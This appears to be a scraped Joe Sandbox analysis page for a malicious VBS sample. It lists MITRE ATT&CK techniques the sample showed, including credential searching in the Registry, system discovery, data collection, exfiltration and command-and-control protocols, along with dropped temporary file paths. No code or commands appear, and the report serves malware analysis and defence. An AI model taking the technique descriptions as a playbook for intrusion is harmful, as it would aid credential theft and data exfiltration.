Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SIEM_PO00938467648.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.out

C:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP

C:\Users\user\AppData\Local\Temp\RES7743.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ch5v15x.nhz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_casrbuj4.tcb.psm1

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
SIEM_PO00938467648.vbs

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre